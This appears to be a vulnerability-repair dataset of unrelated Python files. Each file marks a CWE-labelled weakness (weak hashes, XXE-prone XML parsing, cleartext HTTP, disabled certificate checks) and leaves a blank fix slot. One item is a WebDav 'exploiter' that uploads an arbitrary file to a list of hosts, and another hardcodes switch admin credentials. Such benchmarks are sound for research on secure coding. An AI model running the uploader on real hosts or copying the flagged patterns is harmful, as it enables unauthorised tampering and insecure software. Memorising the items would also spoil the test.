#!python # # Grr. I can't get this to crash anymore. :) # import sys import time import random import threading from hashlib import md5 from os.path import dirname, join, abspath #from codeintel2.lang_php import PHPLexer from codeintel2.lang_javascript import JavaScriptLexer from codeintel2.lang_html import HTMLLexer from codeintel2.lang_mason import MasonLexer from codeintel2.lang_smarty import SmartyLexer from codeintel2.udl import UDLLexer import SilverCity import SilverCity.Lexer from SilverCity import ScintillaConstants #---- globals test_dir = dirname(abspath(__file__)) content_from_lang = { #"php": open(join(test_dir, "scan_inputs", "php5_sample.php")).read(), #"php": open(r"C:\trentm\tmp\Config.php").read(), "php": open(join(test_dir, "bits", "lexer_reentrancy", "Config.php")).read(), "html": open(join(test_dir, "..", "..", "..", "contrib", "komododoc", "en-US", "prefs.html")).read(), "mason": open(join(test_dir, "scan_inputs", "mason-js-test02.mason.html"), 'r').read(), "python": """ import sys import os import bar b = bar.Bar() b.bar() class Foo: "blather" def __init__(self, yada): pass def bar(self): pass sys.path # should have path in completion list f = Foo() f.bar() print "this is ", os.path.abspath(__file__) print (sys .path) """ } class PHPLexer(UDLLexer): lang = "PHP" class PythonLexer(SilverCity.Lexer.Lexer): lang = "Python" def __init__(self): self._properties = SilverCity.PropertySet() self._lexer = SilverCity.find_lexer_module_by_id(ScintillaConstants.SCLEX_PYTHON) self._keyword_lists = [ SilverCity.WordList(SilverCity.Keywords.python_keywords), SilverCity.WordList(""), # hilighted identifiers ] class MyThread(threading.Thread): def __init__(self, lexer, content): threading.Thread.__init__(self) self.lexer = lexer self.content = content def run(self): time.sleep(random.random()) tokens = list( self.lexer.tokenize_by_style(self.content) ) # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # print "%15s tokens md5: %s" % (self.lexer.__class__.__name__, md5(repr(tokens)).hexdigest()) # FIXED: <FILL-HERE> def doit(): lexers = [] print "_test_silvercity_reentrancy ..." threads = [] pick_me = True for i in range(20): if pick_me: #content = content_from_lang["html"] #lexer = HTMLLexer() #content = content_from_lang["mason"] #lexer = MasonLexer() content = content_from_lang["php"] lexer = HTMLLexer() else: content = content_from_lang["php"] lexer = PHPLexer() t = MyThread(lexer, content) threads.append(t) t.start() pick_me = not pick_me for t in threads: t.join() doit()
python
import sys from typing import AnyStr, Mapping from xml.sax import handler # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.sax import xmlreader # FIXED: <FILL-HERE> def escape(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ... def unescape(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ... def quoteattr(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ... class XMLGenerator(handler.ContentHandler): if sys.version_info >= (3, 0): def __init__(self, out=..., encoding=..., short_empty_elements: bool=...) -> None: ... else: def __init__(self, out=..., encoding=...) -> None: ... def startDocument(self): ... def endDocument(self): ... def startPrefixMapping(self, prefix, uri): ... def endPrefixMapping(self, prefix): ... def startElement(self, name, attrs): ... def endElement(self, name): ... def startElementNS(self, name, qname, attrs): ... def endElementNS(self, name, qname): ... def characters(self, content): ... def ignorableWhitespace(self, content): ... def processingInstruction(self, target, data): ... class XMLFilterBase(xmlreader.XMLReader): def __init__(self, parent=...) -> None: ... def error(self, exception): ... def fatalError(self, exception): ... def warning(self, exception): ... def setDocumentLocator(self, locator): ... def startDocument(self): ... def endDocument(self): ... def startPrefixMapping(self, prefix, uri): ... def endPrefixMapping(self, prefix): ... def startElement(self, name, attrs): ... def endElement(self, name): ... def startElementNS(self, name, qname, attrs): ... def endElementNS(self, name, qname): ... def characters(self, content): ... def ignorableWhitespace(self, chars): ... def processingInstruction(self, target, data): ... def skippedEntity(self, name): ... def notationDecl(self, name, publicId, systemId): ... def unparsedEntityDecl(self, name, publicId, systemId, ndata): ... def resolveEntity(self, publicId, systemId): ... def parse(self, source): ... def setLocale(self, locale): ... def getFeature(self, name): ... def setFeature(self, name, state): ... def getProperty(self, name): ... def setProperty(self, name, value): ... def getParent(self): ... def setParent(self, parent): ... def prepare_input_source(source, base=...): ...
python
from ..core import speak import requests trigger = ("Проверь подключение", "проверь подключение", "Проверить подключение", "проверить подключение") def main(say, widget): for i in trigger: if i in say: try: # BUG: CWE-319: Cleartext Transmission of Sensitive Information # requests.get("http://gnu.org/") # Получение соединения с сайтом # FIXED: <FILL-HERE> toSpeak = "Имеется подключение к сети." except Exception: toSpeak = "Нет подключения к сети." break else: toSpeak = "" if toSpeak != "": speak.speak(toSpeak, widget) return toSpeak
python
#!/usr/bin/python2 from __future__ import print_function from jsonrpclib import Server import ssl, pprint # BUG: CWE-295: Improper Certificate Validation # ssl._create_default_https_context = ssl._create_unverified_context # FIXED: <FILL-HERE> # Run Arista commands thru eAPI def runAristaCommands(switch_object, list_of_commands): response = switch_object.runCmds(1, list_of_commands) return response switch = Server("https://admin:arista@192.168.199.158/command-api") commands = ["enable", "configure", "interface ethernet 1/3", "switchport access vlan 100", "end", "write memory"] response = runAristaCommands(switch, commands) pprint.pprint(response)
python
# Deprecated alias for xml.etree.ElementTree # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.etree.ElementTree import * # FIXED: <FILL-HERE>
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( "http://api.quran.com:3000/api/v3/options/recitations").json() def test_get_translations(): assert qur.get_translations() == rq.get( "http://api.quran.com:3000/api/v3/options/translations").json() def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( "http://api.quran.com:3000/api/v3/juzs").json() def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() # FIXED: <FILL-HERE> def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( "http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() print(test_get_chapters())
python
# Copyright (c) 2001-2004 Twisted Matrix Laboratories. # See LICENSE for details. """ Utility functions for authorization. These are currently for challenge-response shared secret authentication. Maintainer: U{Glyph Lefkowitz<mailto:glyph@twistedmatrix.com>} Stability: semi-stable """ # System Imports from hashlib import md5 import random from twisted.cred.error import Unauthorized def respond(challenge, password): """Respond to a challenge. This is useful for challenge/response authentication. """ m = md5() m.update(password) hashedPassword = m.digest() m = md5() m.update(hashedPassword) m.update(challenge) doubleHashedPassword = m.digest() return doubleHashedPassword def challenge(): """I return some random data. """ crap = '' for x in range(random.randrange(15,25)): crap = crap + chr(random.randint(65,90)) # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # crap = md5(crap).digest() # FIXED: <FILL-HERE> return crap
python
import requests import sys print(""" __ __ ___. ________ _________ ____ / \ / \ ____\_ |__ \______ \ / _ \ \ / / \ \/\/ // __ \| __ \ | | \ / /_\ \ Y / \ /\ ___/| \_\ \| ` \/ | \ / \__/\ / \___ >___ /_______ /\____|__ /\___/ \/ \/ \/ \/ \/ """ ) if len(sys.argv) != 3: print("\n\033[34;1m[*]\033[0m python "+sys.argv[0]+" list.txt script.html") exit(0) print("\n\033[34;1m[*]\033[0m Python WebDav Exploiter\n\033[34;1m[*]\033[0m Sharing Information Technology\n") target = open(sys.argv[1], 'r') while True: scheker = open(sys.argv[2]).read() sukses = open('webdav_result.txt', 'a') host = target.readline().replace('\n','') if not host: break if not host.startswith('http'): host = 'http://' + host outname = '/'+sys.argv[2] print('\033[34;1m[*]\033[0m Sending Files : '+sys.argv[2]) print('\033[34;1m[*]\033[0m Size File : '+str(len(scheker))) print('\033[34;1m[*]\033[0m Target : '+host) try: # BUG: CWE-319: Cleartext Transmission of Sensitive Information # r = requests.request('put', host + outname, data=scheker, headers={'Content-Type':'application/octet-stream'}) # FIXED: <FILL-HERE> except: print('\033[31;1m[-]\033[0m Failed : Null Respone\n') pass continue if r.status_code == 200: print('\033[32;1m[+]\033[0m Sukses : '+host+outname+'\n') sukses.write(host+outname+'\n') else: print('\033[31;1m[-]\033[0m Failed : '+host+outname+'\n') print("\033[34;1m[*]\033[0m Output Saved On : webdav_output.txt")
python
# Python rogram to find the SHA-1 message digest of a file # importing the hashlib module import hashlib def hash_file(filename): """"This function returns the SHA-1 hash of the file passed into it""" # make a hash object # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # h = hashlib.sha1() # FIXED: <FILL-HERE> # open file for reading in binary mode with open(filename,'rb') as file: # loop till the end of the file chunk = 0 while chunk != b'': # read only 1024 bytes at a time chunk = file.read(1024) h.update(chunk) # return the hex representation of digest return h.hexdigest() message = hash_file("track1.mp3") print(message)
python
# BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.etree.ElementTree as ET # FIXED: <FILL-HERE> import sys # simple usage statement, hopefully helpful enough to figure # out what's going wrong if the output isn't what's expected. if len(sys.argv) < 3: sys.stderr.write("Usage: %s <input file> <output file> [<key=val>, <key=val>, ...]\n\n" % sys.argv[0]) sys.stderr.write("E.g: %s input.xml output.xml \"*:dbname=gis\" \"ocean_layer:dbname=natural_earth\"\n\n" % sys.argv[0]) sys.stderr.write("Each of the key-value pairs will replace parameters in the datasources in the layers in the input file, with the key being <layer name>:<parameter name>. Optionally the layer name can be '*', in which case it applies as a default when there is no more specific key.\n") sys.exit(1) input_file = sys.argv[1] output_file = sys.argv[2] overrides = dict() for arg in sys.argv[3:]: (k, v) = arg.split('=') # sanity checking if ':' not in k: sys.stderr.write("Key %s does not contain a colon separating the layer name from the datasource parameter name. Keys are expected to be of the form \"<layer name>:<parameter name>\" where the layer name can optionally be the wildcard '*'.\n" % repr(k)) sys.exit(1) if v is None: sys.stderr.write("Value for argument %s is null. The arguments should be of the form \"key=value\".\n" % repr(arg)) sys.exit(1) overrides[k] = v tree = ET.parse(input_file) root = tree.getroot() for layer in root.iter('Layer'): layer_name = layer.get('name') for datasource in layer.iter('Datasource'): for parameter in datasource.iter('Parameter'): p = parameter.get('name') layer_param = ("%s:%s" % (layer_name, p)) generic_param = "*:%s" % p if layer_param in overrides: parameter.text = overrides[layer_param] elif generic_param in overrides: parameter.text = overrides[generic_param] tree.write(output_file)
python
# -*- encoding: utf-8 -*- import unittest from amara.lib import testsupport from amara.bindery import parse from amara import tree # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom import Node # FIXED: <FILL-HERE> import os import tempfile MONTY_XML = """<monty> <python spam="eggs">What do you mean "bleh"</python> <python ministry="abuse">But I was looking for argument</python> </monty>""" SILLY_XML = """<parent> <element name="a">A</element> <element name="b">B</element> </parent>""" SILLY_NS_XML = """<a:parent xmlns:a="urn:bogus:a" xmlns:b="urn:bogus:b"> <b:sillywrap> <a:element name="a">A</a:element> <a:element name="b">B</a:element> </b:sillywrap> </a:parent>""" NS_XML = """<doc xmlns:a="urn:bogus:a" xmlns:b="urn:bogus:b"> <a:monty/> <b:python/> </doc>""" SANE_DEFAULT_XML = """<doc xmlns="urn:bogus:a"> <monty/> <python/> </doc>""" SANE_DEFAULT_XML_PREFIXES = {u'x': u'urn:bogus:a'} class Test_sane_default_1(unittest.TestCase): """Testing a sane document using default NS""" def test_specify_ns(self): """Parse with string""" doc = parse(SANE_DEFAULT_XML, prefixes=SANE_DEFAULT_XML_PREFIXES) #print doc.xml_namespaces self.assertEqual(len(list(doc.xml_select(u'//x:monty'))), 1) return def test_attr_assignment(self): doc = parse(SANE_DEFAULT_XML, prefixes=SANE_DEFAULT_XML_PREFIXES) monty = doc.doc.monty # Create attribute node attr_node = tree.attribute(u'urn:bogus:a', 'setitem', 'value') monty[u'urn:bogus:a', 'setitem'] = attr_node self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem')], 'value') # Check for mismatched namespace attr_node = tree.attribute(u'urn:bogus:a', 'setitem2', 'value') def f(): monty[u'urn:wrong-value', 'setitem2'] = attr_node self.assertRaises(ValueError, f) # Check for mismatched local name def f(): monty[u'urn:bogus:a', 'setitem'] = attr_node self.assertRaises(ValueError, f) # Test with no namespace supplied on node. attr_node = tree.attribute(None, 'setitem3', 'value') monty[u'urn:bogus:a', 'setitem3'] = attr_node self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem3')], 'value') # Test with no namespace supplied in key. attr_node = tree.attribute(u'urn:bogus:a', 'setitem4', 'value') monty[None, 'setitem4'] = attr_node self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem4')], 'value') # Test with no namespace supplied at all. attr_node = tree.attribute(None, 'setitem5', 'value') monty[None, 'setitem5'] = attr_node self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem5')], 'value') if __name__ == '__main__': testsupport.test_main()
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( "http://api.quran.com:3000/api/v3/options/recitations").json() def test_get_translations(): assert qur.get_translations() == rq.get( "http://api.quran.com:3000/api/v3/options/translations").json() def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() # FIXED: <FILL-HERE> def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( "http://api.quran.com:3000/api/v3/juzs").json() def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( "http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() print(test_get_chapters())
python
from __future__ import absolute_import, unicode_literals import hashlib from django.utils.encoding import force_bytes from django.utils.http import urlquote TEMPLATE_FRAGMENT_KEY_TEMPLATE = 'template.cache.%s.%s' def make_template_fragment_key(fragment_name, vary_on=None): if vary_on is None: vary_on = () key = ':'.join([urlquote(var) for var in vary_on]) # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # args = hashlib.md5(force_bytes(key)) # FIXED: <FILL-HERE> return TEMPLATE_FRAGMENT_KEY_TEMPLATE % (fragment_name, args.hexdigest())
python
from __future__ import absolute_import, division, unicode_literals from types import ModuleType try: # BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.etree.cElementTree as default_etree # FIXED: <FILL-HERE> except ImportError: import xml.etree.ElementTree as default_etree __all__ = ["default_etree", "MethodDispatcher", "isSurrogatePair", "surrogatePairToCodepoint", "moduleFactoryFactory"] class MethodDispatcher(dict): """Dict with 2 special properties: On initiation, keys that are lists, sets or tuples are converted to multiple keys so accessing any one of the items in the original list-like object returns the matching value md = MethodDispatcher({("foo", "bar"):"baz"}) md["foo"] == "baz" A default value which can be set through the default attribute. """ def __init__(self, items=()): # Using _dictEntries instead of directly assigning to self is about # twice as fast. Please do careful performance testing before changing # anything here. _dictEntries = [] for name, value in items: if type(name) in (list, tuple, frozenset, set): for item in name: _dictEntries.append((item, value)) else: _dictEntries.append((name, value)) dict.__init__(self, _dictEntries) self.default = None def __getitem__(self, key): return dict.get(self, key, self.default) # Some utility functions to dal with weirdness around UCS2 vs UCS4 # python builds def isSurrogatePair(data): return (len(data) == 2 and ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF) def surrogatePairToCodepoint(data): char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 + (ord(data[1]) - 0xDC00)) return char_val # Module Factory Factory (no, this isn't Java, I know) # Here to stop this being duplicated all over the place. def moduleFactoryFactory(factory): moduleCache = {} def moduleFactory(baseModule, *args, **kwargs): if isinstance(ModuleType.__name__, type("")): name = "_%s_factory" % baseModule.__name__ else: name = b"_%s_factory" % baseModule.__name__ if name in moduleCache: return moduleCache[name] else: mod = ModuleType(name) objs = factory(baseModule, *args, **kwargs) mod.__dict__.update(objs) moduleCache[name] = mod return mod return moduleFactory
python
import os import re from operator import attrgetter # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.etree import ElementTree as ET # FIXED: <FILL-HERE> from unittest import TestCase from tests import factories from yandex_market_language import models from yandex_market_language import parse, convert BASE_DIR = os.path.dirname(__file__) VALID_XML_PATH = os.path.join(BASE_DIR, "fixtures/valid_feed.xml") TEST_XML_PATH = os.path.join(BASE_DIR, "test.xml") pattern = re.compile(r"\s+") def clean_element_text(el: ET.Element): """ Remove whitespaces, new lines & tabs from element text. """ if el.text: el.text = str(el.text) el.text = re.sub(pattern, "", el.text) else: el.text = "" class YMLTestCase(TestCase): def assertElementsEquals(self, el1, el2): clean_element_text(el1) clean_element_text(el2) self.assertEqual(el1.text, el2.text) self.assertEqual(el1.attrib, el2.attrib) def compare_elements(self, el1, el2): self.assertElementsEquals(el1, el2) # Debug message print("SUCCESS COMPARE: {0} == {1}".format(el1.tag, el2.tag)) if el1.tag == "offer": print("ENTERED IN OFFER: ", el1.attrib["id"]) # Sort elements by key el1[:] = sorted(el1, key=attrgetter("tag")) el2[:] = sorted(el2, key=attrgetter("tag")) # Call compare recursively for el1_, el2_ in zip(el1, el2): self.assertEqual(el1_.tag, el2_.tag) self.compare_elements(el1_, el2_) def test_parses_valid_xml(self): feed = parse(VALID_XML_PATH) source_xml = ET.parse(VALID_XML_PATH).getroot() expected_xml = feed.to_xml() self.assertIsInstance(feed, models.Feed) self.compare_elements(source_xml, expected_xml) def test_converts_valid_feed(self): feed = factories.Feed() convert(TEST_XML_PATH, feed) parsed_feed = parse(TEST_XML_PATH) os.remove(TEST_XML_PATH) self.assertEqual(feed.to_dict(), parsed_feed.to_dict())
python
''' Created on Aug 9, 2015 @author: mike ''' # BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.etree.ElementTree as ET # FIXED: <FILL-HERE> class ConfigReader(object): def __init__(self, filename): self.filename = filename self.__config = None def __read_config(self, filename): import os tree = ET.parse(filename) root = tree.getroot() paths = {} for path_group in root.iter('pathGroup'): root_path = path_group.attrib['path'] for path in path_group.iter('path'): key = path.attrib['key'] subpath = path.attrib['subpath'] paths[key]= os.path.join(root_path, subpath) return paths @property def config(self): if not self.__config: self.__config = self.__read_config(self.filename) return self.__config
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.sax.xmlreader import AttributesNSImpl # FIXED: <FILL-HERE> from ..constants import adjustForeignAttributes, unadjustForeignAttributes prefix_mapping = {} for prefix, localName, namespace in adjustForeignAttributes.values(): if prefix is not None: prefix_mapping[prefix] = namespace def to_sax(walker, handler): """Call SAX-like content handler based on treewalker walker :arg walker: the treewalker to use to walk the tree to convert it :arg handler: SAX handler to use """ handler.startDocument() for prefix, namespace in prefix_mapping.items(): handler.startPrefixMapping(prefix, namespace) for token in walker: type = token["type"] if type == "Doctype": continue elif type in ("StartTag", "EmptyTag"): attrs = AttributesNSImpl(token["data"], unadjustForeignAttributes) handler.startElementNS((token["namespace"], token["name"]), token["name"], attrs) if type == "EmptyTag": handler.endElementNS((token["namespace"], token["name"]), token["name"]) elif type == "EndTag": handler.endElementNS((token["namespace"], token["name"]), token["name"]) elif type in ("Characters", "SpaceCharacters"): handler.characters(token["data"]) elif type == "Comment": pass else: assert False, "Unknown token type" for prefix, namespace in prefix_mapping.items(): handler.endPrefixMapping(prefix) handler.endDocument()